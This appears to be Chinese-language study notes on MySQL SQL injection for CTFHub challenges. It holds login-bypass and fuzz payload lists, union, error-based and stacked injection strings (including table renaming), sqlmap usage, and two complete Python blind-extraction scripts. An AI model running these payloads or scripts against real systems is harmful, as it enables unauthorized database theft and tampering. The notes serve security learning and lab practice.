sql注入总结

SQL注入基础

​ SQL注入就是指wb应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
​ 一般情况下,开发人员可以使用动态SQL语向创建通用、灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的SQL语句。当然,SQL注入按照不同的分类万法可以分为很多种,如报错注入、盲注、Union注入等。

MySQL注入知识点

MySQL版本

MySQL >= 5.0

​ 在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema“的数据库,在该库中,我们需要记住三个表名,分别是SCHEMATA、TABLES和
COLUMNS。

​ SCHEMATA表存储该用户创建的所有数据库的库名。我们需要记住该表中记录数据库库名的字段名为SCHEMA_ NAME。

1
SCHEMA_ NAME列:存放着所有数据库的的名字,只有数据库的名字

​ TABLES表存储该用户创建的所有数据库的库名和表名。我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_ SCHEMA和TABLE_NAME。

1
2
TABLE_ SCHEMA列:存放着所有数据库的名字
TABLE_NAME列:存放着所有数据库的表的名字

​ COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名。我们需要记住该表中记录数据库库名、表名和字段名的字段名为TABLE_SCHEMA 、TABLE_NAME和COLUMN_NAME。

1
2
3
TABLE_SCHEMA列:存放着所有数据库的名字
TABLE_NAME列:存放着所有数据库的表名
COLUMN_NAME列:存放着所有数据库的列名

结构图(TABLES表和COLUMNS表):

​ 了解了这些知识,有助于理解后面的一些SQL注入语句。

MySQL < 5.0

​ 才疏学浅,还没遇到过低于5.0版本的情况,但可以知道MySQL < 5.0 没有信息数据库”information_schema“,所以只能手工枚举爆破(二分法思想),该方式通常用于盲注。

MySQL查询语句

在不知道任何条件时:

1
select 查询的字段名 from 库名.表名

知道已知条件时:

1
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
1
select 要查询的字段名 from 库名.表名 where 已知条件1的字段名='已知条件1的值' AND 已知条件2的字段名='已知条件2的值'
1
select * from flag where id = 1

万能密码

注意其中的一些符号一般正确的应该是英文的',而不是中文字符

万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
or “a”=”a
‘)or(‘a’=’a
or 1=1
or 1=1
a’or1=1
or 1=1
or’a’=’a
or=”a’=’a
or=
or=or
1 or1=1=1
1 or1=1or 1=1
OR 1=1%00
or 1=1%00
‘xor
用户名 ’ UNION Select 1,1,1 FROM admin Where=’ (替换表名admin)
密码 1
admin’ or ‘a’=’a 密码随便

PHP万能密码

1
2
3
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1
2
1’or’1’=’1
admin’ OR 1=1/*

limit的用法

limit一般用来限制输出记录数量

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。

例如:

1
SELECT * FROM `user` LIMIT 0,1

limit 0,1表示从第一条记录开始,取一条记录。

如果不使用limit,就会直接取指定的全部记录

1
SELECT * FROM `user`

一些有用的函数

  1. database(): 当前网站使用的数据库
1
2
select database()  #查询当前数据库名字
-1 union select 1,database() #用于爆库的语句
  1. version(): 当前MySQL的版本
1
select version()  #查询当前数据库版本,可以用于防火墙绕过
  1. user(): 当前MySQL的用户

  2. group_concat():可以将多行数据转化为一行,便于观察

1
2
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'  #一个用于爆表的语句
select group_concat (aa,bb,cc) from flag #以一行的形式输出aa、bb、cc
  1. substr():截取xxx值,主要用于盲注
1
1' and substr(database(),1,1)='t'--+

与limit的区别:substr直接从1开始排序,而不像limit从0开始

  1. ord():进行ASCII转换
1
1' and ord(substr(database(),1,1))=115--+

s的ASCII码是115

  1. addslashes(): 对参数进行转义,可以转义单引号,导致查询语句无法闭合
1
2
$username = GET['a']
addslashes($username)

当传入a=test' ,就会被转义为test\

8.with rollup

with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)

具体的运用场景在后面会提及,还有一些,等以后遇到了再慢慢补充

fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

注释符

常见的注释符一般为:#或–空格(–+)或/**/或%23

还有闭合号注释'1'='

GET和POST中注释符的使用:

内联注释

内联注释的形式:

1
/*!code */        这里的code可以是任何语句

内联注释可以用于整个SQL语句中来执行。例如:

1
index .php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

当:

1
SELECT * FROM `user`

这个正常的查询语句可以返回 “user” 表中的所有数据

再当:

1
2
3
/*!SELECT*/ * /*!FROM*/ /*!`user`*/ /*!WHERE*/ /*!id=1*/
这个使用内联注释的查询语句,也可以返回user表中id=1的数据,也就是等效于:
SELECT FROM `user` WHERE id=1

当然内联注释也可以用来绕waf,这个还是一个比较深入的知识点,先留着以后再学习补充。关于这个知识点,可以看学长的总结

闭合方式(闭合符)的判断

参考了CSDN的文章

CSDN1

判断了闭合符有助于我们后续对sql语句的构造

常见闭合方式:

1
2
3
4
5
6
7
无符号
''
""
)
')
")
'))

具体语句为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
###无符号
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
###单引号''
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
###双引号"
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
###单引号加括号')
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
###双引号加括号")
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
###'))
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

判断方式:

方法一

需要靶场会对 sql语句错误信息进行回显,也是最简单的判断方式

首先尝试:

1
2
?id=1’
?id=1”

1、如果都报错,则为整形闭合。

2、如果单引号报错,双引号不报错。
然后尝试

1
?id=1’--+    //?id=1’–+

无报错则单引号闭合。报错则单引号加括号。

3、如果单引号不报错,双引号报错。
然后尝试

1
?id=1"--+

无报错则双引号闭合。报错则可能为双引号加括号。
注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断。

二分法:如果确定了有括号,不确定有几层,测试括号的层数可以这样子:

先使用多层(比如6层'))))))),如果报错,那就减半为3层'))),和order by判断列数类似,直到加一个报错,少一个正确,可以得到答案。例如:

1
2
id=1’) and (‘1=1 正常
id=1’)) and ((‘1=1 错误

还有就是有括号的时候,不带括号,或者括号少于真实数量的时候,sql语句是可以执行的,但是后面如果要拼接order by、union select这样子就不行了。

方法二

这个方法比较方便。使用空字符直接对sql语句进行截断,需要要求靶场允许传入空字符

1
2
3
?id=1';%00

id=1')%00

谁回显正常,就是谁,只有输入完全正确的时候才能正常显示,可以比较准确的判段括号个数

SQL注入类型

如果之前没了解过sql注入的话,可以先看union注入再回来按顺序看,union注入会先详细介绍手工注入的一些步骤

一些类型以CTFHUB上的题目为例

按变量类型分

数字型

先判断是什么类型(整数形或字符型)的注入

1
2
1 and 1=1 #返回正确  
1 and 1=2

如果是数字型注入的话,这里就会有一个逻辑判断,会判断出1不等于2,没有语法错误但有逻辑错误,所以返回一个null值,返回错误页面。

若1 and 1=2报错,就是整数型(数字型)注入

1
select  from <表名> where id = x and 1=2

若没报错,即字符型报错

1
select  from <表名> where id = 'x and 1=2'

判断字段数,发现字段数为2

1
2
1 order by 1,2,3  #报错
1 order by 1,2 #没错

判断回显位

1
-1 union select 1,2 

关于为什么是-1:如果不改的话执行后就不显示显示后面的内容,仍然查询的第一个的内容,也就是仍然查询?id=1,那么把?id=1的写成0或-1就可以了,写成它查询不到的内容,它比较发现是-1或者0那么它返回的值就是null,就会执行后面的内容。

爆出数据库

1
-1 union select 1,database()

指定数据库名sqli,爆表

1
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli' 

指定表flag,爆字段名

1
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' 

指定字段flag,爆字段内容

1
-1 union select 1,group_concat(flag) from sqli.flag 

字符型

查询语句类似于:

1
select from <表名> where id = ‘x and 1=1

注入的时候需要用注释符注释掉(即包裹在外面的字符)

接下来的流程就跟数字型差不多,只是有点细微的区别

1
2
3
4
5
6
7
8
9
10
1' order by 1,2,3#
1' order by 1,2#

-1' union select 1,database()#

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

-1' union select 1,(select flag from flag)#

按HTTP提交方式分

GET注入

也就是GET请求方法传参,例如:

1
https://www.example.com/?id=-1' union select 1,database()%23

POST注入

可以用bp抓包或者hackbar等工具来注入比较方便

常用注入方式

union注入(基于它的手工注入步骤)

这里还是基于MySQL >= 5.0的注入流程

以GET型,查询语句为

1
2
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

为例

1. 获取字段数

前面的这里的–+为注释符,对第n个字段进行排序,如果n的值大于真实的字段数量自然就会报错,从而确定字段数,例如:

1
2
3
4
?id=1' order by 1 --+    没报错
?id=1' order by 2 --+ 报错
或者
?id=1' order by 1,2 --+ 报错

则字段数为一

这里也可以用group来判断字段数(对数据进行分组)

1
?id=1' group by n --+

2.判断回显位

由于有时候并不会回显全部字段,甚至只有一个回显位,因此需要判断回显位,从而使sql语句执行后能输出我们想要的结果,然后使用以下代码来判断回显位(以字段数为3为例)

1
?id=-1' union select 1,2,3 --+

关于为什么是-1:如果不改的话执行后就不显示显示后面的内容,仍然查询的第一个的内容,也就是仍然查询?id=1,那么把?id=1的写成0或-1就可以了,写成它查询不到的内容,它比较发现是-1或者0那么它返回的值就是null,就会执行后面的内容。或:

1
?id=1 ' or 1=1 union select 1,database(),3 limit 1,2;#-- 

可以看到回显位位2,3

接下来就可以把2,3位换成想要查询的语句

1
?id=-1' union select 1,user(),database() --+

这样就是爆库(当前数据库)和爆用户名

3.获取系统数据库名

1
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
1
select null,null,schema_name from information_schema.schemata

4.获取当前数据库名

1
?id=-1' union select 1,2,database() --+
1
select null,null,...,database()

5.获取数据库中的表

获取当前数据库中的所有表名

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

获取指定数据库(hey)的所有表名

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='hey' --+

6. 获取表里的列名(即字段名)

获得指定表(flag)下的所有字段名

1
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

7.获取各个字段值

获取指定表(flag)中的指定字段(username和password)的值

1
?id=-1' union select null,group_concat(username,password) from flag--+

报错注入

利用条件:程序会将错误信息输出到页面上

所以可以利用一些函数来发生报错获取数据

这里利用updatexml()获取当前数据库名

1
id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

所以利用slesct语句继续获取数据库中的表名、字段名等

其中0x7e是ASCII编码,解码后为~

因为报错注入只显示一条结果,所以需要使用limit语句

当然除了updatexml(),还有一些函数可以用来报错注入

1 floor()和rand()

1
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a       /*利用错误信息得到当前数据库名*/

2 extractvalue()

1
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

3 updatexml()

1
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

4 geometrycollection()

1
id=1 and geometrycollection((select * from(select * from(select user())a)b))

5 multipoint()

1
id=1 and multipoint((select * from(select * from(select user())a)b))

6 polygon()

1
id=1 and polygon((select * from(select * from(select user())a)b))

7 multipolygon()

1
id=1 and multipolygon((select * from(select * from(select user())a)b))

8 linestring()

1
id=1 and linestring((select * from(select * from(select user())a)b))

9 multilinestring()

1
id=1 and multilinestring((select * from(select * from(select user())a)b))

10 exp()

1
id=1 and exp(~(select * from(select user())a))

布尔(Boolean)盲注

利用条件:页面对于SQL语句的返回结果不予以显示,并且对于真条件(true)和假条件(false)的返回内容存在差异

我们可以使用永真条件(or 1=1)和永假条件(and 1=2)来判断页面返回的内容是否存在差异,从而确定是否可以使用布尔盲注

以CTFHUB上的题目为例:

可以看到,当查询数据存在或正确的时候会返回query_success,否则就返回query_error

因此可以使用if(expr1,expr2,expr3),如果expr1的值为true,则执行expr2语句,如果expr1的值为false,则执行expr3语句。

那么就可以在expr1处插入判断语句,expr2处放上正确语法的sql语句,expr3处放上错误语法的sql语句,这样的话就可以判断我们的 exper1处的判断语句是否正确

1
2
/?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))

substr是截取的意思(是直接从1开始排序,而不像limit从0开始),这里是截取database()的值,从第一个字符开始(第一个1),每次只返回一个(第二个1),s意思是判断数据库第一个字母是否为s

也可以通过ord()函数来使用ASCII码的字符来查询

1
1' and ord(substr(database(),1,1))=115--+

s的ASCII码为115

盲注脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests

urlOPEN = 'http://challenge-5aaeb58d25ce5ac1.sandbox.ctfhub.com:10800' #换成自己环境的url
starOperatorTime = []
mark = 'query_success' #回显正确的标志

def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i

print(name)

break
print('database_name:',name)



def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'/?id=if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)


def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'/?id=if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)


def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'/?id=if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)



if __name__ == '__main__':
database_name()
table_name()
column_name()
get_data()

时间盲注

时间盲注又称延迟注入,适用于页面不会返回错误信息,且只会回显一种界面,其主要特征是

利用sleep()函数或benchmark()等函数,让MySQL的执行时间变长,由回显时间来判断构造的条件是否正确。时间盲注与布尔盲注类似,布尔盲注基于两种回显页面,而时间盲注基于请求所用的时间。

1
id=1' and if(length(database())>1,sleep(5),1)

这里的意思是,如果当前数据数据库库名的长度大于1,就休眠5秒,否则就查询1.

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
import requests
from urllib.parse import quote

base_url = "http://challenge-8e54e3784616d472.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "Accept-Language", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-8e54e3784616d472.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
global base_url, headers
length = 1
while (1):
id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"
url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
try:
requests.get(url, headers=headers, timeout=1).text
except Exception:
print("database length", length, "failed!")
length+=1
else:
print("database length", length, "success")
print("payload:", id)
break
print("数据库名的长度为", length)
return length

def get_database(database_length):
global base_url, headers
database = ""
for i in range(1, database_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
database += chr(ascii)
print ("目前已知数据库名", database)
break

print("数据库名为", database)
return database

def get_table_num(database):
global base_url, headers
num = 1
while (1):
id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
num += 1
else:
print("payload:", id)
print("数据库中有", num, "个表")
break
return num

def get_table_length(index, database):
global base_url, headers
length = 1
while (1):
id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout= 1).text
except Exception:
print("table length", length, "failed!")
length+=1
else:
print("table length", length, "success")
print("payload:", id)
break
print("数据表名的长度为", length)
return length

def get_table(index, table_length, database):
global base_url, headers
table = ""
for i in range(1, table_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
try:
response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
try:
response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
table += chr(ascii)
print ("目前已知数据库名", table)
break
print("数据表名为", table)
return table

def get_column_num(table):
global base_url, headers
num = 1
while (1):
id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
num += 1
else:
print("payload:", id)
print("数据表", table, "中有", num, "个字段")
break
return num

def get_column_length(index, table):
global base_url, headers
length = 1
while (1):
id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
print("column length", length, "failed!")
length+=1
else:
print("column length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "个字段的长度为", length)
return length

def get_column(index, column_length, table):
global base_url, headers
column = ""
for i in range(1, column_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
column += chr(ascii)
print ("目前已知字段为", column)
break

print("数据表", table, "第", index, "个字段名为", column)
return column

def get_flag_num(column, table):
global base_url, headers
num = 1
while (1):
id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
num += 1
else:
print("payload:", id)
print("数据表", table, "中有", num, "行数据")
break
return num

def get_flag_length(index, column, table):
global base_url, headers
length = 1
while (1):
id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id), headers=headers, timeout=1).text
except Exception:
print("flag length", length, "failed!")
length+=1
else:
print("flag length", length, "success")
print("payload:", id)
break
print("数据表", table, "第", index, "行数据的长度为", length)
return length

def get_flag(index, flag_length, column, table):
global base_url, headers
flag = ""
for i in range(1, flag_length + 1):
l, r = 0, 127 #神奇的申明方法
while (1):
ascii = (l + r) // 2
id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
except Exception:
id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
try:
requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
except Exception:
r = ascii - 1
else:
l = ascii + 1
else:
flag += chr(ascii)
print ("目前已知flag为", flag)
break
print("数据表", table, "第", index, "行数据为", flag)
return flag

if __name__ == "__main__":
print("---------------------")
print("开始获取数据库名长度")
database_length = get_database_length()
print("---------------------")
print("开始获取数据库名")
database = get_database(database_length)
print("---------------------")
print("开始获取数据表的个数")
table_num = get_table_num(database)
tables = []
print("---------------------")
for i in range(0, table_num):
print("开始获取第", i + 1, "个数据表的名称的长度")
table_length = get_table_length(i, database)
print("---------------------")
print("开始获取第", i + 1, "个数据表的名称")
table = get_table(i, table_length, database)
tables.append(table)
while(1): #在这个循环中可以进入所有的数据表一探究竟
print("---------------------")
print("现在得到了以下数据表", tables)
table = input("请在这些数据表中选择一个目标: ")
while( table not in tables ):
print("你输入有误")
table = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的字段数量")
column_num = get_column_num(table)
columns = []
print("---------------------")
for i in range(0, column_num):
print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
column_length = get_column_length(i, table)
print("---------------------")
print("开始获取数据表", table, "第", i + 1, "个字段的名称")
column = get_column(i, column_length, table)
columns.append(column)
while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
print("---------------------")
print("现在得到了数据表", table, "中的以下字段", columns)
column = input("请在这些字段中选择一个目标: ")
while( column not in columns ):
print("你输入有误")
column = input("请重新选择一个目标")
print("---------------------")
print("选择成功,开始获取数据表", table, "的记录数量")
flag_num = get_flag_num(column, table)
flags = []
print("---------------------")
for i in range(0, flag_num):
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
flag_length = get_flag_length(i, column, table)
print("---------------------")
print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
flag = get_flag(i, flag_length, column, table)
flags.append(flag)
print("---------------------")
print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
quit = input("继续切换字段吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
quit = input("继续切换数据表名吗?(y/n)")
if (quit == 'n' or quit == 'N'):
break
else:
continue
print("bye~")


当然如果sleep()函数不能用了,还可以使用benchmark()函数等其他一些方式,这里就先留个坑把,以后再补,可以先看学长的总结

堆叠注入

堆叠查询可以执行多条语句,多语句之间以分号隔开。分号;为MYSQL语句的结束符,若在支持多语句执行的情况下,可利用此方法执行其他恶意语句。比如有函数mysqli_multi_query(),它支持执行一个或多个针对数据库的查询,查询语句使用分号隔开。

1
2
select 1;show tables%23
1';show columns from `1919810931114514`--+
1
?id = 1';select if(substr(user(),1,1)='r',sleep(3),1)%23

可以看出,第二条SQL语句就是时间盲注的语句,后面的操作就和时间注入差不多。。。

但通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面,可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。

改目标名

抄一下学长的解释。这道题select被过滤了,意味着这道题无法联合(union)注入,而它的内部查询语句为:

1
select id,data from word where id =

网页的回显都是words这个表给的回显,而我们的flag放在数字表里,那么我们需要让数字表回显出来flag了,这时直接堆叠注入只会有words表的回显,这里的解决办法便是把数字表改为words表名。

1
2
3
1.先对words进行改表名防止重名:rename table `words` to `word`;
2.将数字表改为words表名(在窗口回显内容):rename table `1919810931114514` to `words`;
3.我们查表结构时看到words里有两个字段id列和数据data,但数字表没有id,所以我们把flag换成id:alter table `words` change `flag` `id` varchar(100);

如果修改flag为id直接堆叠:

1
1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);#

然后用万能密码(例如:’ or 1=’1)即可显示出表里的所有数据,自然也包括flag了。

当然除了该目标名还有预处理、等一些方法,以后再慢慢补充

HTTP请求头注入

就是注入的位置不同(在请求头),比如User-Agent、cookie、X-Forwarded-For、Rerferer等等,也可以通过sqlmap –Level 5测试出来,或者自己测的时候注意一下就可以了

UA注入

UA就是User-Agent的缩写,中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。当然这里也可能存在sql注入

或者

1
sqlmap -u http://www.example.com/ --level 3 --dbs

cookie注入

也就是注入点在cookie位置,可以用ModHeader比较方便操作,当然在bp也是可以的

